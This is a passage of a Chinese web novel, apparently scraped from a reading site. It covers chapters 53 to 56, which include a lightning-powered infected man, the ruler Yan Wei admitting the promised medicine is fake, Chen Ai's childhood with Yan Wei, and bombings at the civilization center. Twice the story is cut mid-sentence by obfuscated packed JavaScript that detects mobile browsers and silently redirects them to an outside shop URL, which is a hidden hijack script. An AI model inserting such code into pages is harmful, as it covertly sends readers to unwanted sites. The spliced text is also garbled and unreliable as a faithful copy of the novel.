而和感染者有过相处的季家姐弟,包括沉皑,都是温柔善良的人,季山月除外,只能算个善良,他们却一次次躲过感染,至于他自己……到目前为止都没有感染的话,也许是梦境的原因。 这种假说可以支撑这二次爆发。但也仅是没有理由的理由,想想便罢。 被沉皑拦在身后的时咎回过神,说:“他好像还有一点意识,或许我们离他远点,他就不会感觉到攻击性。” 四个人不约而同慢慢往后挪,但他们刚动一步,秦昼永突然撕裂一般吼出来,他大张着双手,仰头大吼,几道雷凭空出现,同时滚落下来。 “小心!”沉皑一把将时咎推开,自己快速回撤两步,就看到他们站的位置又是焦黑的印记。 秦昼永彻底控制不住自己,他开始嘴里喊着别人听不懂的话,似乎有人在他旁边与他过招,他乱挥着拳,与身边不存在的人缠斗,他控制的雷又精准地追着在场其他人狠劈。 “别过来!都别过来!”他大叫着,“你杀不了我!” 季山月连忙不迭地躲着雷,一边躲一边喊:“我C你大爷的!这人发病带雷的啊!” 时咎往旁边临时安全的地方跑去,他没有他们三个反应快,每次躲过也都是刚好躲过去,雷几乎都是贴着他的鞋蹭过去了,躲去的下一个地方,不出两秒下一道雷又劈下来了。 时咎反应很快,头上一阵轰鸣,他立刻又翻身往旁边躲,又是一道雷烧在他刚刚在的地方。 地板被劈出数道裂痕,烧焦的痕迹逐渐增加,但秦昼永还是很惊恐地扯着嗓子喊叫,喊叫间又开始掐住自己的脖子,他的嘴里发出“嗬嗬”的挣扎声,手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187344|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不断用力,面部与颈部血管爆出,眼球几乎要凸出来。 忽然一道雷劈到他自己面前,瞬间他的手就放下来了,就像幻觉中掐着他脖子的人被他打败,他一下跪坐在地上拼命狂喘气。 巨大的吵闹声吸引来了办公室里的人,言威刚一打开门,一道雷就劈到他头上,他反应极其迅速,稍稍抬手,那道雷就在他手里消失了。 “怎么回事!”他严厉怒吼,看到眼前的一幕,愣了一下,立刻反应过来发生了什么。他指着秦昼永,颤颤巍巍地说:“杀了他,季山月,杀了他!” “轰——”一道雷劈在言威面前,他面不红心不跳地伸手,让那雷瞬间消失。 时咎只感觉突然有风,在大楼封闭的环境里突然一阵狂风袭来,他刚刚避开了追随他的雷,从地上一边翻滚到另一边,而那里的雷似乎也等候多时,他连身形都没站稳,新的雷又砸下来了。 完了。就在这零点几秒的时间里,时咎心想,这么迅速追来的雷他躲不过去。他刚要屏住呼吸,一个人影瞬间冲过来抱着他滚向旁边,两个人一起在地上滚了好几圈才落稳。 “没受伤?” 时咎抬头,看到沉皑焦虑的眼神被拉得无限近。他摇头,来不及道谢,听到再度追来的雷鸣,低呼:“小心!” 但沉皑反应比他快,直接将时咎抱在怀里转身便往旁边撤,速度快得多了一个人的体重也影响不了他一点。 “C你大爷!” 时咎整个人被揽在颇具安全感的怀里,听到那边季山月的骂声。 那道风愈刮愈狠,令耳边轰轰作响,终于以一道极其快速的旋风状往前冲去,如同破空的箭瞄准唯一的目标,带着啸叫与愤怒,卷起周围一切可能的氧气,在时咎骤然紧缩的瞳孔里倒影出一道从右往左的惨白直线。 “轰——” 秦昼永被那道旋风毫不留情冲击到半空高的墙上,砸出一个人形洞。 旋风消失,他目光呆滞地在那个洞里滞空两秒,随即面朝下狠狠坠落下来,摔在早已碎裂的地板上抽搐两下不动了。 雷终于停止坠落。而在地板上的秦昼永没过多久浑身颤抖了一下,居然径自翻过身让自己面朝上,他剧烈地喘着气,又可能因为血呛到气管,猛咳几声,眼睛没睁开,整个面部全是血,五官模糊不清。 他抬起手,努力地向上尽可能高地抬起手,却发现什么事都没有发生。倏然间,他猛地睁开眼,不可置信地盯着自己的手,任脸上的血弥漫到眼里也死死瞪着,使得他的面部格外瘆人,随后,那只手无力垂下,“啪”砸在地板上。 言威慢慢走过去,在众目睽睽下用手抓住他的头盖骨。他的手掌间出现了无数线条,片刻,清脆的一声响,秦昼永整个头骨碎在他五指尖。 时咎怔怔地看着这一幕,直到沉皑动了一下站起来,他才后知后觉自己与对方环抱的姿势过于暧昧,立刻也站了起来。 言威提前结束会议,让季水风季山月姐弟通知人来处理现场。 这突如其来的变故让现场一片狼藉,地板碎了好几块,随处都是焦黑的洞,墙上、承重柱上到处都是打斗的痕迹,血也溅得到处都是,一个已经全然无法动弹的人就这么瞪着眼睛望着某个不知处,死不瞑目。 先是普通公民,再是文明中心,甚至到掌权者助理。 虚疑病已经直逼核心,或许它想毁了文明中心? 言威转身要走,沉皑叫住了他。 他指着地上的尸体,压着声音冷冷地说:“言威,你觉得这是巧合?” 53. 第 53 章 这一声打破了本来还算平静的氛围,言威猛地转头,气势汹汹地瞪着沉皑,一张颇有年龄感的脸此时写满了愤怒,他说:“你要告诉我这不是巧合?还是你已经参破什么天理大道,了解病毒的想法了?” 相对言威,沉皑此时显得冷静很多,他还是神色淡淡的:“我不了解,但是这个病还没结束,它现在在针对文明中心,或者说,某个人在针对文明中心。” 言威冷笑一声,说道:“我还没责怪安全管理中心办事不利。某个人?我什么时候可以看到结果?” 沉皑怒道:“没有结果这件事就这么过了?不处理了?公民呢?这就是你选择的方式?自体免疫?让其他人去死?” 言威忽然失笑,他自顾自摇了摇头:“我一直觉得你很聪明,但现在又觉得不过如此,可能是我太高看你了。虚疑病没的治,明白吗?我之前发布过新闻说研发了药物,让集中隔离的人每天吃,可以缓解或者治愈,你有没有想过,季雨雪这种天才也没研发明白的东西,现在这群所谓尖端科研人员研发了两百年也没什么进展,两个月就研发出来了?” 沉皑瞳孔骤缩:“什么意思?” 时咎想到了他在监狱里拿来捏着玩的胶囊,每天都会被那群小朋友分发下来。他本来就从没吃过那东西,他很清楚以自己这种做梦的体质,不至于真的在梦里疯了,疯了就等醒来,所以后来即使被小朋友们针对,没收他的份额,也没在乎过。 “免疫是每个人自身的免疫,没发病就是基因优秀,发病了正好在隔离时全部筛选掉。我没有别的选择,我还是坚持我的观点,这就是最优解。”言威冷冰冰的语气说着冷冰冰的事。 那药是假的。 说完这个,他还笑了一下,补充道,“我知道你很久以前就觉得我包藏祸心,我想统治,我逆天而行,你在想什么查什么我都知道,我不妨直接告诉你,对,你想的都是对的,我就是想要这个权力,为了想要的东西,也会牺牲掉别的东西,那你能怎么样呢?就算你什么都知道,又能怎么样呢?跟我打一架?别忘了你会的都是我教的,没有能力,你能对我做什么?刚刚看到我吸收秦昼永的能力了吗?你能躲多久?” 都是炊沙镂冰的作为,毫无意义。 再获得公民的心,他都打不过言威,除非公民能和他一起对抗言威,但公民会因为信任沉家而推翻与他们意识交流过、知道它运行良好的文明中心? 没证据。 沉皑死死捏着拳,一言不发。言威说的都是对的,就算他什么都知道,他也不能将言威拉下马,至少现在做不到。这种明明就知道生死关键的答案,在玻璃一侧大声呼喊、砸墙,企图让另一侧的人知道,可他们就是听不到任何声音,也不知道玻璃后面有人的无力感,凶猛地席卷全身。 时咎动了动,他伸手把沉皑拉到自己身后,在沉皑微微讶异的神情里往前走了一步,与言威正面对上,摆上也不是特别在意的模样,嗤笑一声说:“你该不会真把自己当神仙了吧?我有没有说过我是上帝啊?啥也不是你在这儿装。人做事总有点马脚的,正好我闲,不介意抽出我宝贵的时间找找。” 这副样子似乎激怒了言威,他指着时咎,却看着沉皑,冷笑说:“哼,你这是又养了一个儿子?” 言威的目光上下打量着时咎:“有意思,不过我想,你可能也想多了,人做事确实会留点马脚,所以我把马脚都解决掉了。”他轻松地做了一个抹脖子的动作。 时咎刚要说话,身后的沉皑先开口了,他冷漠地说:“我以为你们会永远追随沉家。” 时咎不知道这句话到底是哪里不对,刚从中抿出点什么,却见忽的言威脸色大变,他抬手,一道雷突然猛击过去。 糟糕!时咎心下一凉,正要喊出声,却看到那道雷落在他们正上方的一瞬间如同被吞噬了一般直接消失了。一颗心回落,才发现冷汗浸透全身。 怎么雷消失了? 言威的脸色相当精彩,他把目光直接投到时咎身上,哼笑一声,想到之前他炸开的锁,自动默认那是时咎的能力导致了雷击的消失。 似乎是和某种意念有关的能力,但这小子跟着沉皑,肯定不会再接受别人的收编了。 他没有再出手,而是锁定了沉皑,对他刚刚的话有些愤怒道:“你以为你是谁?救世主?你们姓沉的两百年前就这么自以为是。” 然而沉皑并不回应他的气急败坏,只是毫无表情地看着他。 寂静片刻,言威的愤怒似乎平息了,他深呼吸一口气,又长长吐出来,看着这狼狈的场面,终于肯放缓一些音调和语速,缓缓说:“小时候你找我,叫我言叔叔,让我收留你的时候,我是真把你当我亲生儿子看的。” 沉皑皱眉,冷淡说:“嗯,但那个时候我也是真的觉得你能带领这个文明,达到前所未有的巅峰的。” “所以现在你觉得我不能?” “不能。”沉皑说得很干脆。 “你觉得我变了?” “嗯。” 言威突然爆发出一阵大笑,笑得本来就不太直的腰更加弯曲了,他大笑着,拍着手说:“好啊好啊,所以你们姓沉的真是高明,为了不变,在权力面前选择了放弃,我其实一直不懂你们先辈这些人的想法。” 沉皑冷冷打断他的话:“你不懂,是你的心不够开阔。人要设想,如果世界上每个人都和自己一样,这个文明会如何。” 言威怒吼:“你没有资格教育我!如果你得到了权力,还能如此洒脱地放弃并告诉我这些话,我才敬重你!” 沉皑淡淡“哦”了一声,说道:“我不需要你的敬重,我只希望我们的掌权者对每个生命有所敬重。但你不在乎你的公民们,你只在乎你的权力,和这些权力带给你的……” 他顿了一下,随后轻描淡写吐出最后几个字:“虚假的麻痹。” 时咎在后面当氛围组,他“啪啪”鼓起了掌,在言威铁青的脸色里补了一句:“人不能太自私哦,小心陷自己于不义哦。” 沉皑觉得时咎这气死人的性格还不错。 言威也不跟着他俩的话走,他笑了下,无所谓道:“随你,总之,沉家和季家受人尊敬的时代结束了,接下来是我的时代。” 说完他转身走了,正好电梯门打开,下面的人上来清理现场。他们看见沉皑,皆是微微鞠躬,小声说:“沉先生。”随后各自去做各自该做的事。 时咎不想再呆在这里,他问沉皑:“走吗?” “嗯。” 一路上时咎都在想他们俩人刚刚的对话。他一直觉得是沉皑本身颇得言威赏识,所以才 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他顿了顿,想应该从哪里讲起,过了一会儿,他才缓缓开口:“嗯。其实,我小时候很叛逆,而且远比同龄人成熟,学任何东西都比他们快……” 沉家住的地方几乎都远离烟火,山涧、田野、树林、无人踏足的高山海边,每次出入都需要些时间,但他们喜欢这样慢节奏的生活,世世代代,一边在自己的领域做到最好,一边又不参与大多数人的生活,除了沉皑。 沉皑在别的小孩疑惑拼图如何才能完整的时候,已经在想更长远的事情了,他熟读了恩德诺的历史,也在其中了解自己家在历史中的角色,但他产生了对家族百年来隐居这个抉择的怀疑。 “隐居并不能给文明带来福祉,如果所有人都退居到这种地步,人们没有来往,灵魂没有相交,文明还是会退步。沉初光当时的选择是错的。”几岁沉皑在家里对他的父母发表了这样的言论,但并没有完全得到他想要的回应。 他逃离了沉家,选择去找言威。 时咎侧过头问:“为什么你会直接找言威,他和你们家有什么关系?” 沉皑答道:“在两百年前,沉初光救过言家的先辈,所以从那以后,沉初光在哪,他们言家就在哪,一直追随沉家的先辈,后来世世代代言家都在跟随沉家的脚步,后世也大多变成朋友。” 时咎恍然大悟:“所以言威算是你的追随者。” 沉皑摇头:“不能这么说,他还是比我大一辈。只是家族之间是这样的关系。”他想起什么,重新解释道,“我不知道你有没有想过,恩德诺的第一位掌权者是季雨雪,但是最开始通过掌权者法案时,掌权者就是两个人组成,这本身也是为了防止后世集权。当时有季雨雪和沉初光两个人,虽然沉初光拒绝了,但他推荐了言家一位德高望重的长辈代替他坐上掌权者位置,所以才有后来的言家世袭。” 时咎咋舌:“意思不就是,原本这个位置上的是你们,言威这一脉的人是代替了你们。” “不全对,这个位置是有能力者上,只是被言家搞成了世袭,又没人反对。” 小时候的沉皑一个人跑了,跑到还记得路的言威家,那个时候的言威刚刚当上掌权者。 54. 第 54 章 “沉长?”年轻的言威看见来人,着实不小地吃了一惊,他迅速看了一下门外,黑洞洞的街,发现没有别的人,更惊讶地问道,“你一个人?你的父母呢?” 那个时候的沉皑还叫沉长,父母取的,沉皑这个名字是后来他自己改的。 小沉皑倔强地轻哼一声,说:“没来。言叔叔,收留我吧,我不想回那里了。” 言威让小沉皑进门,将他安置好后立刻给沉家打了电话通知,随后去往客厅陪小孩子。他过去的时候夏癸正在和小沉皑聊天。 “沉长怎么想到要和言叔叔学习呢?”夏癸温柔地问。 但沉皑并不喜欢这样的问话方式,也许几岁在别人看来是一个什么都不懂的年龄,但他不是,他希望别人把他当成年人看待,于是冷漠地回答:“言叔叔厉害,什么都知道,会打架,会管理公民,爱读书,上知天文下知地理,夫人喜欢的不就是这样的言叔叔吗?” 一进来的言威听到这句话就爽朗笑出来,他拍拍小沉皑的头,说道:“小鬼头人不大话不少。像我一样这可不容易啊,要付出很多,要忍耐很多常人不能忍的煎熬。” 夏癸也在旁边看着两个人,原本她的表情裹挟着浓浓的忧伤,连牵动嘴角的动作都像刻意做出,但在言威看过去的时候,她又柔和地笑着。 沉皑记忆里的夏癸在他刚去的时候一直都是忧郁状态,后来才逐渐好转。 小沉皑抬起头,不屑地说:“我可以。” 言威还挺喜欢这个野心勃勃倔强可爱的小孩,他和夏癸对视一眼,继续摸着小沉皑的头笑说:“我记得你是没有能力的对吧?没有能力的话,这条路更艰辛哦。” 小沉皑看着他,丝毫不惧怕:“哪一种能力?” 言威回答他说:“天赋能力,比如我可以吸收濒死者的能力,比如夏阿姨能够催眠。” 小沉皑的目光在两个成年人之间来回流转,最后坚定地说:“没有能力,我也能比有能力的强。” 那天晚上言威和夏癸被小沉皑逗得笑声一直没停过。 夏癸直言说:“那么多小孩子,就这个孩子我最喜欢。” 言威很同意。 第二天沉皑的父母便找了上来,但他拒绝见面,坚持一定要跟着言威学习。 言威无可奈何,无论如何小沉皑都不肯出来,铁了心这条路走到底,于是言威向沉皑父母道歉,说他也没想到会这样,对不起沉家的信任。 那天,两位年轻人在外面站了很久,最后还是没能等到小沉皑出来,最后两个人互相叹气。 男人说:“这孩子,背祖离宗。” 女人犹豫很久,摇头道:“不,也许不能这么想,这是沉长自己的选择,或许,这本身就是天意的一环。沉家隐居百年,不知道上天这次会给予我们怎样的指引。” 似乎是认同了这样的说法,男人沉默片刻,接受了这件事:“也许是吧,他说隐居不能给文明带来福祉,他想入世,也许这就是天意的需要。今后某一刻的时局需要他今天就做这样的决定,虽然现在看来是背祖离宗,但是我们要的那个‘宗’,不就是文明长远的幸福吗?” 小沉皑到言威家的第三天,言家举办了一次相当隆重的欢迎会,好些文明中心的高层都去到言家,在那场欢迎会上,言威郑重地说:“不知道公民们知晓沉家后代入世成为掌权者那天,恩德诺会是怎样万人空巷的壮丽景观!” 小沉皑对欢迎会不感兴趣,他只想从所有方面提升自己,所以即使在人们开心晚宴的时候,他也在老宅的私人公园里看书。 人们欢聚至后半夜,小沉皑就在公园看书到后半夜。 他当时很喜欢那个大公园,因为非常广阔,边缘又直接连接着深林,夜晚安宁,虫鸣鸟叫,明月清风。 那天晚上,客人们都走了,言威找了一圈终于在院子里找到看书看睡着的小沉皑,便将他抱回临时安排的房间里,放好盖被,正准备走,就听到身后喊了一声:“言叔叔。” 言威转头,蹲下身体平视他,柔和说道:“太晚了,明天再说吧。” 小沉皑虽然年龄不大,但是那双沉家独有的蓝色眼眸却异常清明,他躺在床上说:“我要成为比你还优秀的掌权者。” 言威“噗”一下笑出来,都睡了一觉,被吵醒还惦记着这事。他用温热的掌心顺着小沉皑的头发说:“正好,我觉得我们言家总是家族内传的传统该被打破了,等你足够优秀,懂得大爱,敬天爱人,心里装着恩德诺的公民的时候,就是成为掌权者的时候。言家两百年,该休息了。” 小沉皑皱眉,似懂非懂,但困得发昏的脑袋让他想不了太深入的东西,他听见言威说:“你先熟悉几天,之后我正式对你训练的时候可不是这个样子的哦,做好心理准备。” 小沉皑打了个哈欠,闷闷应了一声。言威站起来,说:“好了,睡吧。”说完他便离开,但在关门之际,他还轻声向小沉皑道谢:“谢谢你来这几天,让我的夫人终于恢复生机了。” 小沉皑记不得后面言威怎么走的,他只记得在宴席的时候有人说夏癸郁郁寡欢好久了,小沉皑一来,她终于笑了,小沉皑就是给他们家带来幸运的。 听到这里,时咎看向神色淡然的沉皑,跟他一起走进起源实验室。 排队的人还是这么多,这些未成年都在望着实验室里面,一个个既害怕又憧憬新的生活。 走过拐角,等待电梯。 听完的时咎怀疑地问沉皑:“你确定真的没记错吗?你讲的言威怎么跟我看到的不太一样?” 沉皑回答:“就是不一样。” 从沉皑的描述来看,那个时候的言威是温柔可信的,他想打破言家的百年传承,并且激动于沉皑的到来,也曾经憧憬沉家的入世,要将他培养成一位敬天爱人的掌权者,而在今天他却说他的时代开始了,就在前不久的过去,他又毫不留情放任公民的死亡。 这差异太大了。权力真的会让人在几十年的时间里变成这样吗? 电梯到达,两人一齐进去,看着电梯门关上,沉皑按了五楼。 时咎想起之前在地下医院同季水风的聊天,他说:“季水风之前跟我说,她觉得言威过度惧怕虚疑病,所以教化所本身也是针对这种可能而设立的,但是教化所的设立让进化的成功率大大提升,这明明是一件好事,他却又对这次、哪怕是可能感染的公民赶尽杀绝。你明白我的意思吗?” 沉皑低低应了一声,说:“嗯,你想说他做的事都是自相矛盾的。” 时咎正要开口,却听见“轰”的一声,巨大的爆炸声不知道从哪里沉闷地传来,时咎浑身一颤,未出口的话被强制咽回去。 他忽然全身绷紧,冲击波冲过来震得电梯剧烈晃动,霎时里面的灯疯狂闪烁,随后强烈的失重感侵袭而来。 “怎么回事?”时咎四下抬头惊悚地问,他下意识迅速后退让自己靠在电梯墙上,微微屈膝做出防御的姿势。沉皑意识到不对则立刻过去按亮所有楼层的按钮,也靠在了电梯角落的边缘。 “砰!”一盏灯在头顶爆炸的声音,刹那在半空崩裂出一堆火星。 “小心!”沉皑朝时咎吼道,立刻往前跨一步伸手紧急将时咎拽了过来,那一瞬间便有什么东西摔到了时咎刚刚站的位置上。 时咎惊魂未定,失重感没持续两秒,伴随着刺耳尖锐的摩擦声,只听见“咔”的一声,电梯沉重地震颤一下,随即停止不动。 同时整个空间瞬时陷入完全的黑暗,静止。 “这……”沉皑刚要说话。 “轰——”第二声巨响随即而来,但比第一声的威力小些,只听到了声音却没有冲击波再次袭来。 外面的尖叫和焦躁杂乱的脚步声透过厚墙与电梯的缝隙传达到电梯里,令这个褊小密闭的空间里充斥了滚烫的不安。 “没伤到吧?”沉皑焦急地问,但太黑了,他什么也看不到,只能抬手去触碰,但一伸手却碰到时咎的脸,冰凉的皮肤。 “我没事,你呢?”时咎轻轻喘着气问,他往沉皑声音传来的地方慢慢挪动了两下脚步以靠近他,但没想两个人本来就挨得很近,所以他一动就感觉自己已经贴到沉皑了。 沉皑的声音非常清晰地似乎就在耳边传来,他低声说:“没事。” 时咎四周望了一下,但黑暗陷入得太过浓烈,此时的眼睛和瞎了 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时咎动了一下,正准备问接下来该怎么,第三声巨响又随之而来,这一声比前两声更夸张,轰鸣如同就在电梯外炸响,“轰”的声音几乎要穿破耳膜,刚刚才稳定下来的电梯迅速摇晃起来,伴随着无尽的黑暗是巨大的恐惧,还有金属部件“喀喀喀”的声音。 这悬空的电梯快撑不住了! 沉皑立刻抓住时咎的一只手环过自己的腰,紧促对他说:“你抓紧我!”他弓起腰,似乎要有所行动。 时咎死死抓着他的衣服,准备迎接接下来的灾难。 强烈的天旋地转倏然来袭,风声在耳边贯穿。好像是电梯下坠了! 时咎咬着牙骂了一句。 但想象中的坠地更甚至是爆炸并没有来临,他感觉自己在无限下坠,像坐过山车到达最高点往下俯冲的那一瞬,心脏的血几乎都要被抽干了。 在黑暗里他猛地睁眼,却立刻看到一阵刺眼的光芒穿破空气直达眼膜,让他有一瞬间几乎什么都看不到,但他能感觉到自己的手还是环在沉皑的腰上,于是发力将另一只手也环抱上去,两个人的胸膛紧紧贴在一起。 是从半空坠落到陆地! 看到陆地的刹那,沉皑猛地在半空中翻身,让时咎在上面,随着重力牵引,风浓烈地割裂耳膜,随后两个人重重摔在地上,沉皑发出一声闷哼,用力环抱住时咎的双手没松开,惯性推着他们往前不受控滚了很多圈。 最终咚一声闷响,沉皑的背连带着两个人的重量结结实实撞到了什么障碍物上。 沉皑顾不得冲击力,第一反应去看怀里的人,他埋头低声喊道:“时咎!” 然而一停下,时咎就立刻推开他,趴在地上忍不住干呕出来,太痛了,跟五脏六腑都冲到脑子里,和脑浆一起被摇匀了一样。 沉皑则迅速爬坐起来,看到时咎躺在地上龇牙咧嘴,翻身跪坐去扶他。 “还能起来吗?”沉皑问。 时咎捂了会儿头,终于不那么疼了后睁开眼,便对上面前深蓝色的眼睛,痛苦说,“还好,还没死。” 见他没事,沉皑整理好担忧的心情,站起来,伸出手,两只手掌交叠在一起,一用力,时咎被从地上拉了起来。 “你疼吗?”起来的瞬间,时咎就转过去拍了拍沉皑的背,但看他微微摇头。 “没事。” 时咎拍了拍在地上了滚了无数圈、已经脏得像在泥潭了打滚过一样的衣服,稳住神,四处看了一眼,这才发现他们在的地方是一个无人的街道小巷。 沉皑显然也注意到了这点,他四处张望,皱眉对时咎说:“这是文明中心附近的一条街。是你……” 时咎茫然一瞬,当即反应过来,是他的瞬移。 跟之前每次都不一样,按理说他只会瞬移到沉皑身边,沉皑在身边他根本瞬移不了,这次却是带着沉皑一起出来了。 时咎突然想到刚刚他们在电梯里的谈话,微微讶异,当时沉皑在说,他们得到文明中心外面去。 此时此刻就是文明中心外面很近。 他的瞬移也听于沉皑的命令? 全是沉皑,他的一切都围绕着沉皑。 但现在不是想这些的时候。话没多说,时咎示意了一下文明中心的方向:“回去看看?” “嗯。” 55. 第 55 章 几分钟的步程,此时文明中心很多人正在往外奔逃,但也有一部分人往里跑,个个神色惊慌,有的不住咳嗽。 灰尘和浓烟四处都是,爆炸声似乎已经停止了。 沉皑的步伐很快,他面无表情逆着大部分人群朝里走,在政务大楼遇到了背着一个女人出来的季水风。 “沉皑,帮我把她带出去!”季水风吼到,“我还要上去救人!” 沉皑脚步一敛,二话没说接过季水风背上的女人。时咎立刻对季水风说:“我也跟你一起上去救人!” 已经往里走了几步的季水风迅速回头说:“你去政务大楼楼上找人,这边伤亡不多!”说着她又倒回来换了一个方向,“我去科研院!沉皑你等会儿回来也到科研院!” “好!” 三个人立刻分开往不同的方向过去。 政务大楼门口有两个大洞,似乎是刚刚的爆炸轰炸的地方,但每一个坑都不大,却很深。时咎急匆匆往里面跑,看着里面也有人带着另外的人出来。 大楼里面的情况不算糟,或许惊吓的成分偏多,碎纸和物品散了一地。 楼梯转角,时咎迎面遇上一个人,那个人扶着另一个正在往楼下走,看到时咎的瞬间就朝他喊道:“这楼左边那个走廊还没看,你去看看有没有人!” “好!”时咎匆匆跑去左边。 办公室没人,杂物间也没人,最后还有洗手间。走廊里被人们匆匆扔下的杂物到处都是,时咎跑过去开洗手间的门的时候正好门从里面打开了,里面有人走出来,见到里面的人的一瞬间,时咎愣了一下。 里面急匆匆要出来的人也愣住了。 时咎皱眉:“舟之覆?你在这做什么?” 舟之覆立刻恢复正常,他不屑翻了白眼:“当然是救人啊,洗手间没人了,换别的地方看吧。”说完他就推开时咎走了。 时咎看了一眼那个匆忙离开的背影,毫不犹豫又冲进了洗手间,每个地方都查看了一圈,确实没有人,也没有任何可疑的地方。 舟之覆这种人会好心来救人?怎么看都是鬼鬼祟祟的。 政务大楼不高,他来回跑了两趟,确认没人的时候便又匆匆下楼。 文明中心的人几乎都被遣散出去,外面停了一排警车和救护车,救护车来了几辆又开走一些,不多时先前的又回来了。 绿化带被灰尘裹得已经看不清是什么颜色,但能看清的是它旁边躺了两具尸体。 时咎急匆匆走在广场上,踩着隆起或残缺的瓷砖地板,想着刚刚季水风说的他们会去科研院,毫不犹豫也往那边走去。 就在这时,“啊——!!”一声被拉长的惨叫从右后方传来,那惨叫似乎正以某种速度接近。 时咎停下脚步猛然回头,瞳孔骤缩——一个火人朝他冲了过来! 又是自焚的人!那人似乎早就失去意识,但火烧的痛楚又无比清晰,他在痛苦的惨叫中想抓住周围一切可能,所以就那么直直朝时咎扑了过来,速度快得不像是肉体凡胎。 那团火映在时咎的瞳孔,他迅速闪身,火人则猛地扑空,径直摔出去几米远,一团火在地上蠕动,能闻到烧焦的油的味道。 以为这样就结束了,谁料火人僵直两秒再次摇摇晃晃站起来,竟是想再次冲过来。 “砰!”一声枪响,那个火人刚抬起一只脚,身体像不受控晃动一下,整个人原地倒下去,让那团火在原地燃烧着。 时咎转头,正好看到季山月严肃地收枪并走过来,他在不远处喊了一句:“臭崽子!没事哈?” 时咎松了口气,朝他微微点头。 浓烟散去,广场上横七竖八倒了好些尸体,几栋楼的人似乎也被转移得差不多了。时咎看到沉皑在和言威与单赫说什么,但没多会儿他又面无表情去找季水风了,停了一会儿,季水风离开。 不远处的季山月一拍时咎的胳膊:“你跑这儿来干什么?” 时咎回揍了他一拳:“你管我?” “哟?”季山月打量他,又摸了摸自己被打的地方,“这一拳不错啊,沉皑教你的?” 时咎没理他,因为他看见沉皑走过来了。 “怎么回事?”时咎直接问沉皑。 沉皑侧过头,垂下目光,扫了一眼地上到处的尸体,说:“两位能力者。” 季山月拍拍时咎的肩:“嗐,问我啊。俩犯病的哥们,好巧不巧的,一个是微型爆炸,一个是物体放大,不知道怎么凑一起的,硬扔了几个大型炸弹出来,专炸科研院啊,还好我来得快,能力给他俩削了。”他一做抹脖子的动作,随后又用下巴示意了一下对面。 顺着示意的方向看过去,时咎注意到就是绿化带旁边那两具尸体。 “嗯。”沉皑微微点头,“如果本身被感染,惊吓会加快他们发病的进度,所以……” 地上躺的尸体有被击毙的,有被自然杀死的,自杀的,还有火烧死的,一片触目惊心。 时咎望向科研院,那是文明中心最高的楼,不,应该是他在恩德诺见过最高的楼。 不过感染者的轰炸并没有击穿这个地方,大部分的攻击都在门口或墙体,也许是建筑本身的安全等级够高,所以墙砖掉了,装饰烧了,这栋楼还是稳稳地伫立着,如果不是因为惊吓,这栋楼里的人一窝蜂地往外逃,逃的过程中拥挤踩踏,出去后又在外面被袭击,或许伤员不会那么多。 相反其他的楼则幸运很多,起源实验室门口有一个炸弹坑,其余的都在广场上。 时咎猜想他们被困在电梯里的时候,最后那一声巨响应该就是炸到实验室门口这一颗。 季山月挥挥手,嗤笑说:“炸科研院可真是打错算盘了,没有哪栋楼比科研院坚固难攻啊。” 时咎转回头,随口问了句:“为什么?” “设计。”沉皑淡淡道,“楼梯设计和用材,恩德诺最先进的科技,代表科技最高,楼层最高。” 他顿了一下,想起之前和时咎在图书馆看的历史课里似乎没有讲这些,便继续说道:“和掌权者法案一起出的:恩德诺的所有建筑不得高于文明科学研究院。” 时咎歪了歪头,又重复问了一边:“为什么?” “科技推动文明发展,不可或缺的一环,没有科学,很多东西都会变成空中楼阁,这里是恩德诺科技的集合。” 时咎抬头去看这栋高楼,又看了眼旁边的楼,问:“掌权者大楼都不能超过科研院?” “不能。” 时咎恍惚间想起在欧洲也有这样的说法,整个城市的建筑修建不得高于主教堂,代表一种虔诚的信仰。 这一晚在广场上忙碌的人很多,掌权者大楼紧急发布了一则通知:暂时关闭文明中心。 关闭文明中心广场往来城市的通道,只留一条紧急通道,非掌权者大楼授权禁止出入。 只是他们的通知下得很急,以至于很大部分人并没有来得及离开,便全然被锁在文明中心内。 掌权者大楼兴许也发现了事情的不同寻常,这次虚疑病的二次余波,确实只发生在文明中心内部人员身上,就像病毒真的发展出意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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嘴都张开了的时咎又默默闭上了,他本来想说给自己听的,也行,反正哽住季山月就行了。 季山月这回是真心梗了,他脸上的肉颤抖着,分不清是故意还是气,他晃晃悠悠抬起手,指了指时咎,又指了指沉皑,眼睛瞪着,脸都憋红了才说出一句:“说你俩没有点关系,爷爷我还真不信了。” “啊。”时咎轻叹一声,笑道,“也没说没关系啊。” 季山月疯狂出气的鼻孔撑很大,他一拍沙发,骂骂咧咧道:“妈的,啥时候的事啊,沉皑你也不说!” 沉皑不搭理他。 时咎倒是微微点头,正儿八经道:“其实有一段时间了。” “嘶。”季山月跟听八卦一样,往时咎旁边挪了挪,凑近他悄悄问,“哪一步了?” 时咎的脸抽了一下,因为想笑但强行憋住了,他清了下嗓来缓解自己差点暴露的不自然,低声又清晰,一个字一个字说:“每、一、步。” 季山月直立起身体,困惑的眼神看向沉皑。 被视线扫射的沉皑抬头,冷冷看了季山月一眼,目光又瞥到时咎身上。 他确实适合去当演员。 时咎还等着沉皑澄清、揭穿他,再看季山月爆炸呢,结果沉皑给了个冷漠的眼神后没有下文了。 时咎心想,看来沉皑真的不是很想理他。 徒留季山月望着窗外白茫茫的天。 沉默中,门被推开了,季水风默默走进来,她的手里拿着手机,表情也不太对,季山月一看过去就觉得有问题,立刻问:“姐,怎么了?” 季水风沉默片刻,说:“有什么办法可以离开文明中心不被发现吗?” 56. 第 56 章 “啊?”季山月完全没料到她会问这个问题,思索半天,不确定地说,“好像不行吧,所有通道都关了,应急的那个也得拿到许可吧。”他看向沉皑求证。 “嗯。”沉皑在椅子上坐着,他闭着眼,淡淡回答着。 